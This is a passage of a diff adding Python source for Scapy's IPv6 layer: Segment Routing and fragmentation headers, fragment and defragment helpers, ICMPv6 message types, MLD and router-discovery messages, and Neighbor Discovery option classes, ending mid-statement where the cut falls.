IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV): + name = "IPv6 Option Header Segment Routing - Egress Node TLV" + fields_desc = [ByteField("type", 2), + ByteField("len", 18), + ByteField("reserved", 0), + ByteField("flags", 0), + IP6Field("egress_node", "::1")] + + +class IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV): + name = "IPv6 Option Header Segment Routing - Padding TLV" + fields_desc = [ByteField("type", 4), + FieldLenField("len", None, length_of="padding", fmt="B"), + StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501 + + +class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr): + name = "IPv6 Option Header Segment Routing" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), + ByteField("type", 4), + ByteField("segleft", None), + ByteField("lastentry", None), + BitField("unused1", 0, 1), + BitField("protected", 0, 1), + BitField("oam", 0, 1), + BitField("alert", 0, 1), + BitField("hmac", 0, 1), + BitField("unused2", 0, 3), + ShortField("tag", 0), + IP6ListField("addresses", ["::1"], + count_from=lambda pkt: (pkt.lastentry + 1)), + PacketListField("tlv_objects", [], + IPv6ExtHdrSegmentRoutingTLV, + length_from=lambda pkt: 8 * pkt.len - 16 * ( + pkt.lastentry + 1 + ))] + + overload_fields = {IPv6: {"nh": 43}} + + def post_build(self, pkt, pay): + + if self.len is None: + + # The extension must be align on 8 bytes + tmp_mod = (len(pkt) - 8) % 8 + if tmp_mod == 1: + warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte!") + elif tmp_mod >= 2: + # Add the padding extension + tmp_pad = b"\x00" * (tmp_mod - 2) + tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad) + pkt += raw(tlv) + + tmp_len = (len(pkt) - 8) // 8 + pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] + + if self.segleft is None: + tmp_len = len(self.addresses) + if tmp_len: + tmp_len -= 1 + pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] + + if self.lastentry is None: + lastentry = len(self.addresses) + if lastentry == 0: + warning( + "IPv6ExtHdrSegmentRouting(): the addresses list is empty!" + ) + else: + lastentry -= 1 + pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:] + + return _IPv6ExtHdr.post_build(self, pkt, pay) + + +# Fragmentation Header # + +class IPv6ExtHdrFragment(_IPv6ExtHdr): + name = "IPv6 Extension Header - Fragmentation header" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + BitField("res1", 0, 8), + BitField("offset", 0, 13), + BitField("res2", 0, 2), + BitField("m", 0, 1), + IntField("id", None)] + overload_fields = {IPv6: {"nh": 44}} + + +def defragment6(packets): + """ + Performs defragmentation of a list of IPv6 packets. Packets are reordered. + Crap is dropped. What lacks is completed by 'X' characters. + """ + + # Remove non fragments + lst = [x for x in packets if IPv6ExtHdrFragment in x] + if not lst: + return [] + + id = lst[0][IPv6ExtHdrFragment].id + + llen = len(lst) + lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id] + if len(lst) != llen: + warning("defragment6: some fragmented packets have been removed from list") # noqa: E501 + + # reorder fragments + res = [] + while lst: + min_pos = 0 + min_offset = lst[0][IPv6ExtHdrFragment].offset + for p in lst: + cur_offset = p[IPv6ExtHdrFragment].offset + if cur_offset < min_offset: + min_pos = 0 + min_offset = cur_offset + res.append(lst[min_pos]) + del(lst[min_pos]) + + # regenerate the fragmentable part + fragmentable = b"" + for p in res: + q = p[IPv6ExtHdrFragment] + offset = 8 * q.offset + if offset != len(fragmentable): + warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501 + fragmentable += b"X" * (offset - len(fragmentable)) + fragmentable += raw(q.payload) + + # Regenerate the unfragmentable part. + q = res[0] + nh = q[IPv6ExtHdrFragment].nh + q[IPv6ExtHdrFragment].underlayer.nh = nh + q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable) + del q[IPv6ExtHdrFragment].underlayer.payload + q /= conf.raw_layer(load=fragmentable) + del(q.plen) + + return IPv6(raw(q)) + + +def fragment6(pkt, fragSize): + """ + Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must + already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the + expected maximum size of fragments (MTU). The list of packets is returned. + + If packet does not contain an IPv6ExtHdrFragment class, it is returned in + result list. + """ + + pkt = pkt.copy() + + if IPv6ExtHdrFragment not in pkt: + # TODO : automatically add a fragment before upper Layer + # at the moment, we do nothing and return initial packet + # as single element of a list + return [pkt] + + # If the payload is bigger than 65535, a Jumbo payload must be used, as + # an IPv6 packet can't be bigger than 65535 bytes. + if len(raw(pkt[IPv6ExtHdrFragment])) > 65535: + warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501 + return [] + + s = raw(pkt) # for instantiation to get upper layer checksum right + + if len(s) <= fragSize: + return [pkt] + + # Fragmentable part : fake IPv6 for Fragmentable part length computation + fragPart = pkt[IPv6ExtHdrFragment].payload + tmp = raw(IPv6(src="::1", dst="::1") / fragPart) + fragPartLen = len(tmp) - 40 # basic IPv6 header length + fragPartStr = s[-fragPartLen:] + + # Grab Next Header for use in Fragment Header + nh = pkt[IPv6ExtHdrFragment].nh + + # Keep fragment header + fragHeader = pkt[IPv6ExtHdrFragment] + del fragHeader.payload # detach payload + + # Unfragmentable Part + unfragPartLen = len(s) - fragPartLen - 8 + unfragPart = pkt + del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload + + # Cut the fragmentable part to fit fragSize. Inner fragments have + # a length that is an integer multiple of 8 octets. last Frag MTU + # can be anything below MTU + lastFragSize = fragSize - unfragPartLen - 8 + innerFragSize = lastFragSize - (lastFragSize % 8) + + if lastFragSize <= 0 or innerFragSize == 0: + warning("Provided fragment size value is too low. " + + "Should be more than %d" % (unfragPartLen + 8)) + return [unfragPart / fragHeader / fragPart] + + remain = fragPartStr + res = [] + fragOffset = 0 # offset, incremeted during creation + fragId = random.randint(0, 0xffffffff) # random id ... + if fragHeader.id is not None: # ... except id provided by user + fragId = fragHeader.id + fragHeader.m = 1 + fragHeader.id = fragId + fragHeader.nh = nh + + # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... + while True: + if (len(remain) > lastFragSize): + tmp = remain[:innerFragSize] + remain = remain[innerFragSize:] + fragHeader.offset = fragOffset # update offset + fragOffset += (innerFragSize // 8) # compute new one + if IPv6 in unfragPart: + unfragPart[IPv6].plen = None + tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp) + res.append(tempo) + else: + fragHeader.offset = fragOffset # update offSet + fragHeader.m = 0 + if IPv6 in unfragPart: + unfragPart[IPv6].plen = None + tempo = unfragPart / fragHeader / conf.raw_layer(load=remain) + res.append(tempo) + break + return res + + +############################################################################# +############################################################################# +# ICMPv6* Classes # +############################################################################# +############################################################################# + + +icmp6typescls = {1: "ICMPv6DestUnreach", + 2: "ICMPv6PacketTooBig", + 3: "ICMPv6TimeExceeded", + 4: "ICMPv6ParamProblem", + 128: "ICMPv6EchoRequest", + 129: "ICMPv6EchoReply", + 130: "ICMPv6MLQuery", # MLDv1 or MLDv2 + 131: "ICMPv6MLReport", + 132: "ICMPv6MLDone", + 133: "ICMPv6ND_RS", + 134: "ICMPv6ND_RA", + 135: "ICMPv6ND_NS", + 136: "ICMPv6ND_NA", + 137: "ICMPv6ND_Redirect", + # 138: Do Me - RFC 2894 - Seems painful + 139: "ICMPv6NIQuery", + 140: "ICMPv6NIReply", + 141: "ICMPv6ND_INDSol", + 142: "ICMPv6ND_INDAdv", + 143: "ICMPv6MLReport2", + 144: "ICMPv6HAADRequest", + 145: "ICMPv6HAADReply", + 146: "ICMPv6MPSol", + 147: "ICMPv6MPAdv", + # 148: Do Me - SEND related - RFC 3971 + # 149: Do Me - SEND related - RFC 3971 + 151: "ICMPv6MRD_Advertisement", + 152: "ICMPv6MRD_Solicitation", + 153: "ICMPv6MRD_Termination", + } + +icmp6typesminhdrlen = {1: 8, + 2: 8, + 3: 8, + 4: 8, + 128: 8, + 129: 8, + 130: 24, + 131: 24, + 132: 24, + 133: 8, + 134: 16, + 135: 24, + 136: 24, + 137: 40, + # 139: + # 140 + 141: 8, + 142: 8, + 143: 8, + 144: 8, + 145: 8, + 146: 8, + 147: 8, + 151: 8, + 152: 4, + 153: 4 + } + +icmp6types = {1: "Destination unreachable", + 2: "Packet too big", + 3: "Time exceeded", + 4: "Parameter problem", + 100: "Private Experimentation", + 101: "Private Experimentation", + 128: "Echo Request", + 129: "Echo Reply", + 130: "MLD Query", + 131: "MLD Report", + 132: "MLD Done", + 133: "Router Solicitation", + 134: "Router Advertisement", + 135: "Neighbor Solicitation", + 136: "Neighbor Advertisement", + 137: "Redirect Message", + 138: "Router Renumbering", + 139: "ICMP Node Information Query", + 140: "ICMP Node Information Response", + 141: "Inverse Neighbor Discovery Solicitation Message", + 142: "Inverse Neighbor Discovery Advertisement Message", + 143: "MLD Report Version 2", + 144: "Home Agent Address Discovery Request Message", + 145: "Home Agent Address Discovery Reply Message", + 146: "Mobile Prefix Solicitation", + 147: "Mobile Prefix Advertisement", + 148: "Certification Path Solicitation", + 149: "Certification Path Advertisement", + 151: "Multicast Router Advertisement", + 152: "Multicast Router Solicitation", + 153: "Multicast Router Termination", + 200: "Private Experimentation", + 201: "Private Experimentation"} + + +class _ICMPv6(Packet): + name = "ICMPv6 dummy class" + overload_fields = {IPv6: {"nh": 58}} + + def post_build(self, p, pay): + p += pay + if self.cksum is None: + chksum = in6_chksum(58, self.underlayer, p) + p = p[:2] + struct.pack("!H", chksum) + p[4:] + return p + + def hashret(self): + return self.payload.hashret() + + def answers(self, other): + # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... + if (isinstance(self.underlayer, IPerror6) or + isinstance(self.underlayer, _IPv6ExtHdr) and + isinstance(other, _ICMPv6)): + if not ((self.type == other.type) and + (self.code == other.code)): + return 0 + return 1 + return 0 + + +class _ICMPv6Error(_ICMPv6): + name = "ICMPv6 errors dummy class" + + def guess_payload_class(self, p): + return IPerror6 + + +class ICMPv6Unknown(_ICMPv6): + name = "Scapy6 ICMPv6 fallback class" + fields_desc = [ByteEnumField("type", 1, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + StrField("msgbody", "")] + + +# RFC 2460 # + +class ICMPv6DestUnreach(_ICMPv6Error): + name = "ICMPv6 Destination Unreachable" + fields_desc = [ByteEnumField("type", 1, icmp6types), + ByteEnumField("code", 0, {0: "No route to destination", + 1: "Communication with destination administratively prohibited", # noqa: E501 + 2: "Beyond scope of source address", # noqa: E501 + 3: "Address unreachable", + 4: "Port unreachable"}), + XShortField("cksum", None), + ByteField("length", 0), + X3BytesField("unused", 0)] + + +class ICMPv6PacketTooBig(_ICMPv6Error): + name = "ICMPv6 Packet Too Big" + fields_desc = [ByteEnumField("type", 2, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + IntField("mtu", 1280)] + + +class ICMPv6TimeExceeded(_ICMPv6Error): + name = "ICMPv6 Time Exceeded" + fields_desc = [ByteEnumField("type", 3, icmp6types), + ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501 + 1: "fragment reassembly time exceeded"}), # noqa: E501 + XShortField("cksum", None), + ByteField("length", 0), + X3BytesField("unused", 0)] + +# The default pointer value is set to the next header field of +# the encapsulated IPv6 packet + + +class ICMPv6ParamProblem(_ICMPv6Error): + name = "ICMPv6 Parameter Problem" + fields_desc = [ByteEnumField("type", 4, icmp6types), + ByteEnumField( + "code", 0, + {0: "erroneous header field encountered", + 1: "unrecognized Next Header type encountered", + 2: "unrecognized IPv6 option encountered", + 3: "first fragment has incomplete header chain"}), + XShortField("cksum", None), + IntField("ptr", 6)] + + +class ICMPv6EchoRequest(_ICMPv6): + name = "ICMPv6 Echo Request" + fields_desc = [ByteEnumField("type", 128, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + XShortField("id", 0), + XShortField("seq", 0), + StrField("data", "")] + + def mysummary(self): + return self.sprintf("%name% (id: %id% seq: %seq%)") + + def hashret(self): + return struct.pack("HH", self.id, self.seq) + self.payload.hashret() + + +class ICMPv6EchoReply(ICMPv6EchoRequest): + name = "ICMPv6 Echo Reply" + type = 129 + + def answers(self, other): + # We could match data content between request and reply. + return (isinstance(other, ICMPv6EchoRequest) and + self.id == other.id and self.seq == other.seq and + self.data == other.data) + + +# ICMPv6 Multicast Listener Discovery (RFC2710) # + +# tous les messages MLD sont emis avec une adresse source lien-locale +# -> Y veiller dans le post_build si aucune n'est specifiee +# La valeur de Hop-Limit doit etre de 1 +# "and an IPv6 Router Alert option in a Hop-by-Hop Options +# header. (The router alert option is necessary to cause routers to +# examine MLD messages sent to multicast addresses in which the router +# itself has no interest" +class _ICMPv6ML(_ICMPv6): + fields_desc = [ByteEnumField("type", 130, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + ShortField("mrd", 0), + ShortField("reserved", 0), + IP6Field("mladdr", "::")] + +# general queries are sent to the link-scope all-nodes multicast +# address ff02::1, with a multicast address field of 0 and a MRD of +# [Query Response Interval] +# Default value for mladdr is set to 0 for a General Query, and +# overloaded by the user for a Multicast Address specific query +# TODO : See what we can do to automatically include a Router Alert +# Option in a Destination Option Header. + + +class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 + name = "MLD - Multicast Listener Query" + type = 130 + mrd = 10000 # 10s for mrd + mladdr = "::" + overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} + + +# TODO : See what we can do to automatically include a Router Alert +# Option in a Destination Option Header. +class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 + name = "MLD - Multicast Listener Report" + type = 131 + overload_fields = {IPv6: {"hlim": 1, "nh": 58}} + + def answers(self, query): + """Check the query type""" + return ICMPv6MLQuery in query + +# When a node ceases to listen to a multicast address on an interface, +# it SHOULD send a single Done message to the link-scope all-routers +# multicast address (FF02::2), carrying in its multicast address field +# the address to which it is ceasing to listen +# TODO : See what we can do to automatically include a Router Alert +# Option in a Destination Option Header. + + +class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 + name = "MLD - Multicast Listener Done" + type = 132 + overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}} + + +# Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) # + +class ICMPv6MLQuery2(_ICMPv6): # RFC 3810 + name = "MLDv2 - Multicast Listener Query" + fields_desc = [ByteEnumField("type", 130, icmp6types), + ByteField("code", 0), + XShortField("cksum", None), + ShortField("mrd", 10000), + ShortField("reserved", 0), + IP6Field("mladdr", "::"), + BitField("Resv", 0, 4), + BitField("S", 0, 1), + BitField("QRV", 0, 3), + ByteField("QQIC", 0), + ShortField("sources_number", None), + IP6ListField("sources", [], + count_from=lambda pkt: pkt.sources_number)] + + # RFC8810 - 4. Message Formats + overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} + + def post_build(self, packet, payload): + """Compute the 'sources_number' field when needed""" + if self.sources_number is None: + srcnum = struct.pack("!H", len(self.sources)) + packet = packet[:26] + srcnum + packet[28:] + return _ICMPv6.post_build(self, packet, payload) + + +class ICMPv6MLDMultAddrRec(Packet): + name = "ICMPv6 MLDv2 - Multicast Address Record" + fields_desc = [ByteField("rtype", 4), + FieldLenField("auxdata_len", None, + length_of="auxdata", + fmt="B"), + FieldLenField("sources_number", None, + length_of="sources", + adjust=lambda p, num: num // 16), + IP6Field("dst", "::"), + IP6ListField("sources", [], + length_from=lambda p: 16 * p.sources_number), + StrLenField("auxdata", "", + length_from=lambda p: p.auxdata_len)] + + def default_payload_class(self, packet): + """Multicast Address Record followed by another one""" + return self.__class__ + + +class ICMPv6MLReport2(_ICMPv6): # RFC 3810 + name = "MLDv2 - Multicast Listener Report" + fields_desc = [ByteEnumField("type", 143, icmp6types), + ByteField("res", 0), + XShortField("cksum", None), + ShortField("reserved", 0), + ShortField("records_number", None), + PacketListField("records", [], + ICMPv6MLDMultAddrRec, + count_from=lambda p: p.records_number)] + + # RFC8810 - 4. Message Formats + overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}} + + def post_build(self, packet, payload): + """Compute the 'records_number' field when needed""" + if self.records_number is None: + recnum = struct.pack("!H", len(self.records)) + packet = packet[:6] + recnum + packet[8:] + return _ICMPv6.post_build(self, packet, payload) + + def answers(self, query): + """Check the query type""" + return isinstance(query, ICMPv6MLQuery2) + + +# ICMPv6 MRD - Multicast Router Discovery (RFC 4286) # + +# TODO: +# - 04/09/06 troglocan : find a way to automatically add a router alert +# option for all MRD packets. This could be done in a specific +# way when IPv6 is the under layer with some specific keyword +# like 'exthdr'. This would allow to keep compatibility with +# providing IPv6 fields to be overloaded in fields_desc. +# +# At the moment, if user inserts an IPv6 Router alert option +# none of the IPv6 default values of IPv6 layer will be set. + +class ICMPv6MRD_Advertisement(_ICMPv6): + name = "ICMPv6 Multicast Router Discovery Advertisement" + fields_desc = [ByteEnumField("type", 151, icmp6types), + ByteField("advinter", 20), + XShortField("cksum", None), + ShortField("queryint", 0), + ShortField("robustness", 0)] + overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} + # IPv6 Router Alert requires manual inclusion + + def extract_padding(self, s): + return s[:8], s[8:] + + +class ICMPv6MRD_Solicitation(_ICMPv6): + name = "ICMPv6 Multicast Router Discovery Solicitation" + fields_desc = [ByteEnumField("type", 152, icmp6types), + ByteField("res", 0), + XShortField("cksum", None)] + overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} + # IPv6 Router Alert requires manual inclusion + + def extract_padding(self, s): + return s[:4], s[4:] + + +class ICMPv6MRD_Termination(_ICMPv6): + name = "ICMPv6 Multicast Router Discovery Termination" + fields_desc = [ByteEnumField("type", 153, icmp6types), + ByteField("res", 0), + XShortField("cksum", None)] + overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}} + # IPv6 Router Alert requires manual inclusion + + def extract_padding(self, s): + return s[:4], s[4:] + + +# ICMPv6 Neighbor Discovery (RFC 2461) # + +icmp6ndopts = {1: "Source Link-Layer Address", + 2: "Target Link-Layer Address", + 3: "Prefix Information", + 4: "Redirected Header", + 5: "MTU", + 6: "NBMA Shortcut Limit Option", # RFC2491 + 7: "Advertisement Interval Option", + 8: "Home Agent Information Option", + 9: "Source Address List", + 10: "Target Address List", + 11: "CGA Option", # RFC 3971 + 12: "RSA Signature Option", # RFC 3971 + 13: "Timestamp Option", # RFC 3971 + 14: "Nonce option", # RFC 3971 + 15: "Trust Anchor Option", # RFC 3971 + 16: "Certificate Option", # RFC 3971 + 17: "IP Address Option", # RFC 4068 + 18: "New Router Prefix Information Option", # RFC 4068 + 19: "Link-layer Address Option", # RFC 4068 + 20: "Neighbor Advertisement Acknowledgement Option", + 21: "CARD Request Option", # RFC 4065/4066/4067 + 22: "CARD Reply Option", # RFC 4065/4066/4067 + 23: "MAP Option", # RFC 4140 + 24: "Route Information Option", # RFC 4191 + 25: "Recursive DNS Server Option", + 26: "IPv6 Router Advertisement Flags Option" + } + +icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr", + 2: "ICMPv6NDOptDstLLAddr", + 3: "ICMPv6NDOptPrefixInfo", + 4: "ICMPv6NDOptRedirectedHdr", + 5: "ICMPv6NDOptMTU", + 6: "ICMPv6NDOptShortcutLimit", + 7: "ICMPv6NDOptAdvInterval", + 8: "ICMPv6NDOptHAInfo", + 9: "ICMPv6NDOptSrcAddrList", + 10: "ICMPv6NDOptTgtAddrList", + # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py + # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py + # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py + # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py + # 15: Do Me, + # 16: Do Me, + 17: "ICMPv6NDOptIPAddr", + 18: "ICMPv6NDOptNewRtrPrefix", + 19: "ICMPv6NDOptLLA", + # 18: Do Me, + # 19: Do Me, + # 20: Do Me, + # 21: Do Me, + # 22: Do Me, + 23: "ICMPv6NDOptMAP", + 24: "ICMPv6NDOptRouteInfo", + 25: "ICMPv6NDOptRDNSS", + 26: "ICMPv6NDOptEFA", + 31: "ICMPv6NDOptDNSSL" + } + +icmp6ndraprefs = {0: "Medium (default)", + 1: "High", + 2: "Reserved", + 3: "Low"} # RFC 4191 + + +class _ICMPv6NDGuessPayload: + name = "Dummy ND class that implements guess_payload_class()" + + def guess_payload_class(self, p): + if len(p) > 1: + return icmp6ndoptscls.get(orb(p[0]), Raw) # s/Raw/ICMPv6NDOptUnknown/g ? # noqa: E501 + + +# Beginning of ICMPv6 Neighbor Discovery Options. + +class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" + fields_desc = [ByteField("type", None), + FieldLenField("len", None, length_of="data", fmt="B", + adjust=lambda pkt, x: x + 2), + StrLenField("data", "", + length_from=lambda pkt: pkt.len - 2)] + +# NOTE: len includes type and len field. Expressed in unit of 8 bytes +# TODO: Revoir le coup du ETHER_ANY + + +class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" + fields_desc = [ByteField("type", 1), + ByteField("len", 1), + MACField("lladdr", ETHER_ANY)] + + def mysummary(self): + return self.sprintf("%name% %lladdr%") + + +class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): + name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" + type = 2 + + +class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery Option - Prefix Information" + fields_desc = [ByteField("type", 3), + ByteField("len", 4), + ByteField("prefixlen", 64), + BitField("L", 1, 1), + BitField("A", 1, 1), + BitField("R", 0, 1), + BitField("res1", 0, 5), + XIntField("validlifetime", 0xffffffff), + XIntField("preferredlifetime", 0xffffffff), + XIntField("res2", 0x00000000), + IP6Field("prefix", "::")] + + def mysummary(self): + return self.sprintf("%name% %prefix%/%prefixlen% " + "On-link %L% Autonomous Address %A% " + "Router Address %R%") + +# TODO: We should also limit the size of included packet to something +# like (initiallen - 40 - 2) + + +class TruncPktLenField(PacketLenField): + __slots__ = ["cur_shift"] + + def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): # noqa: E501 + PacketLenField.__init__(self, name, default, cls, length_from=length_from) # noqa: E501 + self.cur_shift = cur_shift + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + i = self.m2i(pkt, s[:tmp_len]) + return s[tmp_len:], i + + def m2i(self, pkt, m): + s = None + try: # It can happen we have sth shorter than 40 bytes + s = self.cls(m) + except Exception: + return conf.raw_layer(m) + return s + + def i2m(self, pkt, x): + s = raw(x) + tmp_len = len(s) + r = (tmp_len + self.cur_shift) % 8 + tmp_len = tmp_len - r + return s[:tmp_len] + + def i2len(self, pkt, i): + return len(self.i2m(pkt, i)) + + +# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) +class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery Option - Redirected Header" + fields_desc = [ByteField("type", 4), + FieldLenField("len", None, length_of="pkt", fmt="B", + adjust=lambda pkt, x:(x + 8) // 8), + StrFixedLenField("res", b"\x00" * 6, 6), + TruncPktLenField("pkt", b"", IPv6, 8, + length_from=lambda pkt: 8 * pkt.len - 8)] + +# See which value should be used for default MTU instead of 1280 + + +class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery Option - MTU" + fields_desc = [ByteField("type", 5), + ByteField("len", 1), + XShortField("res", 0), + IntField("mtu", 1280)] + + def mysummary(self): + return self.sprintf("%name% %mtu%") + + +class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 + name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" + fields_desc = [ByteField("type", 6), + ByteField("len", 1), + ByteField("shortcutlim", 40), # XXX + ByteField("res1", 0), + IntField("res2", 0)] + + +class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery - Interval Advertisement" + fields_desc = [ByteField("type", 7), + ByteField("len", 1), + ShortField("res", 0), + IntField("advint", 0)] + + def mysummary(self): + return self.sprintf("%name% %advint% milliseconds") + + +class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6 Neighbor Discovery - Home Agent Information" + fields_desc = [ByteField("type", 8), + ByteField("len", 1), + ShortField("res", 0), + ShortField("pref", 0), + ShortField("lifetime", 1)] + + def mysummary(self): + return self.sprintf("%name% %pref% %lifetime% seconds") + +# type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support + +# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support + + +class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 + name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" + fields_desc = [ByteField("type", 17), + ByteField("len", 3), + ByteEnumField("optcode", 1, {1: "Old Care-Of Address", + 2: "New Care-Of Address", + 3: "NAR's IP address"}), + ByteField("plen", 64), + IntField("res", 0), + IP6Field("addr", "::")] + + +class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 + name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501 + fields_desc = [ByteField("type", 18), + ByteField("len", 3), + ByteField("optcode", 0), + ByteField("plen", 64), + IntField("res", 0), + IP6Field("prefix", "::")] + + +_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", + 1: "LLA for the new AP", + 2: "LLA of the MN", + 3: "LLA of the NAR", + 4: "LLA of the src of TrSolPr or PrRtAdv msg", + 5: "AP identified by LLA belongs to current iface of router", # noqa: E501 + 6: "No preifx info available for AP identified by the LLA", # noqa: E501 + 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501 + + +class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 + name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501 + fields_desc = [ByteField("type", 19), + ByteField("len", 1), + ByteEnumField("optcode", 0, _rfc4068_lla_optcode), + MACField("lla", ETHER_ANY)] # We only support ethernet + + +class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 + name = "ICMPv6 Neighbor Discovery - MAP Option" + fields_desc = [ByteField("type", 23), + ByteField("len", 3), + BitField("dist", 1, 4), + BitField("pref", 15, 4), # highest availability + BitField("R", 1, 1), + BitField("res", 0, 7), + IntField("validlifetime", 0xffffffff), + IP6Field("addr", "::")] + + +class _IP6PrefixField(IP6Field): + __slots__ = ["length_from"] + + def __init__(self, name, default): + IP6Field.__init__(self, name, default) + self.length_from = lambda pkt: 8 * (pkt.len - 1) + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + p = s[:tmp_len] + if tmp_len < 16: + p += b'\x00' * (16 - tmp_len) + return s[tmp_len:], self.m2i(pkt, p) + + def i2len(self, pkt, x): + return len(self.i2m(pkt, x)) + + def i2m(self, pkt, x): + tmp_len = pkt.len + + if x is None: + x = "::" + if tmp_len is None: + tmp_len = 1 + x = inet_pton(socket.AF_INET6, x) + + if tmp_len is None: + return x + if tmp_len in [0, 1]: + return b"" + if tmp_len in [2, 3]: + return x[:8 * (tmp_len - 1)] + + return x + b'\x00' * 8 * (tmp_len - 3) + + +class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 + name = "ICMPv6 Neighbor Discovery Option - Route Information Option" + fields_desc = [ByteField("type", 24), + FieldLenField("len", None, length_of="prefix", fmt="B", + adjust=lambda pkt, x: x // 8 + 1), + ByteField("plen", None), + BitField("res1", 0, 3), + BitEnumField("prf", 0, 2, icmp6ndraprefs), + BitField("res2", 0, 3), + IntField("rtlifetime", 0xffffffff), + _IP6PrefixField("prefix", None)] + + def mysummary(self): + return self.sprintf("%name% %prefix%/%plen% Preference %prf%") + + +class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 + name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" + fields_desc = [ByteField("type", 25), + FieldLenField("len", None, count_of="dns", fmt="B", + adjust=lambda pkt, x: 2 * x + 1), + ShortField("res", None), + IntField("lifetime", 0xffffffff), + IP6ListField("dns", [], + length_from=lambda pkt: 8 * (pkt.len - 1))] + + def mysummary(self): + return self.sprintf("%name% " + ", ".join(self.dns)) + + +class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) + name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" + fields_desc = [ByteField("type", 26), + ByteField("len", 1), + BitField("res", 0, 48)] + +# As required in Sect 8. of RFC 3315, Domain Names must be encoded as +# described in section 3.1 of RFC 1035 +# XXX Label should be at most 63 octets in length : we do not enforce it +# Total length of domain should be 255 : we do not enforce it either + + +class DomainNameListField(StrLenField): + __slots__ = ["padded"] + islist = 1 + padded_unit = 8 + + def __init__(self, name, default, fld=None, length_from=None, padded=False): # noqa: E501 + self.padded = padded + StrLenField.__init__(self, name, default, fld, length_from) + + def i2len(self, pkt, x): + return len(self.i2m(pkt, x)) + + def m2i(self, pkt, x): + x = 